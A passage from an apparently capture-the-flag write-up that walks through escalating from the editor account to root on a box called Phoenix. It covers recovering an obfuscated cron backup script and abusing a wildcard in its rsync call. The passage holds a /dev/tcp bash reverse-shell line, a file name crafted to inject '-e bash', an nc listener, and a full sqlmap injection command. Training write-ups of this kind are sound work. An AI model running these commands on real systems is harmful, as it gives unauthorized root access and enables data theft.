Putting that all together, it says that the standard will be enough (so just password) when SSHing to, but otherwise it will not, and then it falls backt o


All of this enumeration put together implies that I can SSH to as editor without the 2FA. I can’t connect to from my host (no route), but I can from the local shell:

wp_user@phoenix:/$ ssh editor@
$$$$$$$\  $$\                                     $$\           
$$  __$$\ $$ |                                    \__|          
$$ |  $$ |$$$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$\  $$\ $$\   $$\ 
$$$$$$$  |$$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$ |\$$\ $$  |
$$  ____/ $$ |  $$ |$$ /  $$ |$$$$$$$$ |$$ |  $$ |$$ | \$$$$  / 
$$ |      $$ |  $$ |$$ |  $$ |$$   ____|$$ |  $$ |$$ | $$  $$<  
$$ |      $$ |  $$ |\$$$$$$  |\$$$$$$$\ $$ |  $$ |$$ |$$  /\$$\ 
\__|      \__|  \__| \______/  \_______|\__|  \__|\__|\__/  \__|

On giving the password (“superphoenix”), it returns a prompt for editor.

At this point I can grab user.txt:

editor@phoenix:~$ cat user.txt

Shell as root


There’s an interesting directory in the filesystem root, /backups:

editor@phoenix:/$ ls -ld backups/
drwxr-x--- 2 editor editor 4096 Feb 16 19:33 backups/

It’s owned by editor, so I couldn’t have gotten into it as wp_user.

In the directory is a series of .tar.gz archives which look like backups, dated every three minutes going back 30 minutes:

editor@phoenix:/backups$ ls
phoenix.htb.2022-06-14-22-51.tar.gz  phoenix.htb.2022-06-14-23-06.tar.gz
phoenix.htb.2022-06-14-22-54.tar.gz  phoenix.htb.2022-06-14-23-09.tar.gz
phoenix.htb.2022-06-14-22-57.tar.gz  phoenix.htb.2022-06-14-23-12.tar.gz
phoenix.htb.2022-06-14-23-00.tar.gz  phoenix.htb.2022-06-14-23-15.tar.gz
phoenix.htb.2022-06-14-23-03.tar.gz  phoenix.htb.2022-06-14-23-18.tar.gz

Continuing around the filesystem, eventually I’ll find a single file in /usr/local/bin/:

editor@phoenix:/backups$ cd /usr/local/bin/
editor@phoenix:/usr/local/bin$ ls -la
total 24
drwxr-xr-x  2 root root  4096 Feb 13 20:11 .
drwxr-xr-x 10 root root  4096 Jul 31  2020 ..
-rwxr-xr-x  1 root root 15392 Feb 16 14:19

This is a 64-bit stripped elf binary:

editor@phoenix:/usr/local/bin$ file ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=04aabcf8803c25ea88a7eada74300f34a17a5cf1, for GNU/Linux 3.2.0, stripped

Dumping Cron Script

SHell Compiler Background

Some Googling for “.sh.x files” led me to this GitHub for UnSHc, which describes these files:

SHc (SHell compiler) is a fabulous tool created and maintained by Francisco Javier Rosales Garcia ( This tool protect any shell script with encryption (ARC4).

This is useful to identify this kind of file. This is basically an encrypted shell script protected / obfuscated by SHc.

I’ll show a few ways to recover the script, all of which work but one.

Recover with UnSHc - Fail

Unfortunately, the readme warns that the script for decrypting doesn’t work anymore:

Due to the many problems since shc 4.0.3, there seems to be a need for clarification. In shc 4.0.3 many structural changes have been incorporated, so that shc now makes use of various security mechanisms provided by the linux-kernel itself. Therefore, it is now almost impossible to extract the original shell script at all with current UnSHc version, if the new shc version was used. This requires a more in-depth approach, which means that a modified bash or a modified linux-kernel is needed to bypass the security measures.

Just to be sure, I’ll pull a copy of the binary back to my VM and run it:

oxdf@hacky$ ./ 
 _   _       _____ _   _      
| | | |     /  ___| | | |     
| | | |_ __ \ `--.| |_| | ___ 
| | | | '_ \ `--. \  _  |/ __|
| |_| | | | /\__/ / | | | (__ 
 \___/|_| |_\____/\_| |_/\___|

--- UnSHc - The shc decrypter.
--- Version: 0.8
UnSHc is used to decrypt script encrypted with SHc
Original idea from Luiz Octavio Duarte (LOD)
Updated and modernized by Yann CAM
- SHc   : []
- UnSHc : []

[*] Input file name to decrypt []
[-] Unable to define arc4() call address...

It does not work.

Recover with PSpy

The /proc filesystem is mounted with hidepid=2, which means that non-root users can only see their own processes:

editor@phoenix:~$ mount | grep "^proc"
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime,hidepid=2)

I’ll get a second shell as wp_user and then SSH to become editor. I’ll also upload pspy, and run it in one terminal.

Once it’s running, I’ll run manually from the other terminal:

editor@phoenix:/usr/local/bin$ ./ 
mysqldump: Got error: 1698: Access denied for user 'root'@'localhost' when trying to connect
gzip: phoenix.htb.2022-02-16-20-45.tar.gz already exists; do you wish to overwrite (y or n)?

Back at PSpy, there’s a lot of whitespace (I trimmed out a lot here for readability):

2022/02/16 22:33:39 CMD: UID=1002 PID=1801   | -c exec '' "$@"              
2022/02/16 22:33:39 CMD: UID=1002 PID=1802   | date +%Y-%m-%d-%H-%M                                      
2022/02/16 22:33:39 CMD: UID=1002 PID=1803   | mysqldump -u root wordpress 
2022/02/16 22:33:39 CMD: UID=1002 PID=1804   | -c                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 #!/bin/sh                                                       
NOW=$(date +"%Y-%m-%d-%H-%M")          
cd /backups                            
mysqldump -u root wordpress > dbbackup.sql
tar -cf $FILE dbbackup.sql && rm dbbackup.sql
gzip -9 $FILE                          
find . -type f -mmin +30 -delete                    
rsync --ignore-existing -t *.* jit@                                                                                                                                                                 
2022/02/16 22:33:39 CMD: UID=1002 PID=1805   | rm dbbackup.sql                                           
2022/02/16 22:33:39 CMD: UID=1002 PID=1808   | gzip -9 phoenix.htb.2022-02-16-22-33.tar

Recover with ps

Because the script hangs when you run it, I’ll just check out the process list. In a clean terminal, there’s only one I’ll start the script running, and when it hangs, Ctrl-z:

mysqldump: Got error: 1698: Access denied for user 'root'@'localhost' when trying to connect
[1]+  Stopped       

At the prompt, ps auxww will show all processes associated with editor with full command lines:

editor@phoenix:~$ ps auxww
editor      1465  0.0  0.4  18424  9580 ?        Ss   22:31   0:00 /lib/systemd/systemd --user
editor      2194  0.1  0.2   8300  5220 pts/1    Ss   22:35   0:00 -bash
editor      2203  0.0  0.0   2612  1656 pts/1    T    22:35   0:00 -c                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 #!/bin/sh  NOW=$(date +"%Y-%m-%d-%H-%M") FILE="phoenix.htb.$NOW.tar"  cd /backups mysqldump -u root wordpress > dbbackup.sql tar -cf $FILE dbbackup.sql && rm dbbackup.sql gzip -9 $FILE find . -type f -mmin +30 -delete rsync --ignore-existing -t *.* jit@
editor      2212  0.0  0.0   6144   864 pts/1    T    22:35   0:00 rsync --ignore-existing -t phoenix.htb.2022-02-16-22-19.tar.gz phoenix.htb.2022-02-16-22-27.tar.gz phoenix.htb.2022-02-16-22-28.tar.gz phoenix.htb.2022-02-16-22-30.tar.gz phoenix.htb.2022-02-16-22-33.tar phoenix.htb.2022-02-16-22-33.tar.gz phoenix.htb.2022-02-16-22-34.tar.gz phoenix.htb.2022-02-16-22-35.tar.gz jit@
editor      2213  0.0  0.3  12008  6240 pts/1    T    22:35   0:00 ssh -l jit rsync --server -te.LsfxC --ignore-existing . /backups/
editor      2234  0.0  0.1   8892  3280 pts/1    R+   22:35   0:00 ps auxww

There’s a ton of whitespace after the /, but then comes the full script!

Recover from /proc

Another way to get the script is from /proc. I’ll start it, and then background it with Ctrl-z:

mysqldump: Got error: 1698: Access denied for user 'root'@'localhost' when trying to connect
[1]+  Stopped             

jobs -p will give the process ids of any jobs (the backgrounded process):

editor@phoenix:~$ jobs -p  

I’ll get the command line from /proc:


That’s a nice clean look at the script.

Script Analysis

The script being run cleans up with some added whitespace to:


NOW=$(date +"%Y-%m-%d-%H-%M")

cd /backups mysqldump -u root wordpress > dbbackup.sql
tar -cf $FILE dbbackup.sql && rm dbbackup.sql
gzip -9 $FILE
find . -type f -mmin +30 -delete
rsync --ignore-existing -t *.* jit@

It’s going into the /backups directory, and creating a dump of the database. Then it’s putting that into a tar archive and then compressing it. It looks for files older than 30 minutes and deletes them. Finally it uses rsync to copy them to presumably another server as the jit user.

Wildcard Injection


Wildcard injection is something I’ve seen before on HTB, but not in a while. The issue is that Bash will expand out the wildcard to be a list of files. So when you do something like:

oxdf@hacky$ touch test1 test2 test3
oxdf@hacky$ rm *

On the second line, bash first expands the * to:

oxdf@hacky$ rm test1 test2 test3

And then runs that command. The trick is to make a file that actually looks like an argument to the command being run.

So for rsync, there’s the -e flag, which:

-e, --rsh=COMMAND           specify the remote shell to use

This is a bit misleading. It actually typically looks like:


So if I can create a file named -e bash, the wildcard will inject into the command, and my command will run.

Reverse Shell

To pull this off, I’ll create two files. The first is a simple reverse shell generated with this echo command:

echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/ 0>&1' >

The second is an empty file, where the filename is the important part, generated with touch:

touch -- '-e bash'

-- tells the command that anything after is not an argument, so it creates that file name.

Putting that all on one line and running it creates both files:

editor@phoenix:/backups$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/ 0>&1' >; touch -- '-e bash'
editor@phoenix:/backups$ ls -la
total 3632
drwxr-x---  2 editor editor   4096 Feb 16 23:02  .
drwxr-xr-x 21 root   root     4096 Jan 26 05:29  ..
-rw-rw-r--  1 editor editor     53 Feb 16 23:02
-rw-rw-r--  1 editor editor      0 Feb 16 23:02 '-e bash'

The next time the cron runs (every three minutes), I get a reverse shell:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 35844
bash: cannot set terminal process group (3403): Inappropriate ioctl for device
bash: no job control in this shell

And after a quick shell upgrade, I can grab root.txt:

root@phoenix:~# cat root.txt

Beyond Root - Alternative Path

The entire foothold step for this box relies on getting into WordPress so that I can see the vulnerable plugin and use it to get RCE. And while the intended path is to use the SQL injection to get the credentials and secrets necessary to log in, it’s also possible to just read the plugins list from the database:

oxdf@hacky$ sqlmap --url "https://phoenix.htb/forum/?subscribe_topic=*" --dbms=mysql --technique=T --level 5 -D wordpress -T wp_options -C option_value --where "option_name = '
active_plugins'" --dump --batch
Database: wordpress
Table: wp_options
[1 entry]
| option_value|
| a:9:{i:0;s:45:"accordion-slider-gallery/accordion-slider.php";i:1;s:25:"adminimize/adminimize.php";i:2;s:31:"asgaros-forum/asgaros-forum.php";i:3;s:43:"download-from-files/download-from-files.php";i:4;s:67:"miniorange-2-factor-authentication/miniorange_2_factor_settings.php";i:5;s:47:"photo-gallery-builder/photo-gallery-builder.php";i:6;s:29:"pie-register/pie-register.php";i:7;s:45:"simple-local-avatars/simple-local-avatars.php";i:8;s:38:"timeline-event-history/timeline-wp.php";} |

With this list, it’s possible see the download-from-files is installed, and find the public exploit, skipping the hash crack and the 2FA computation.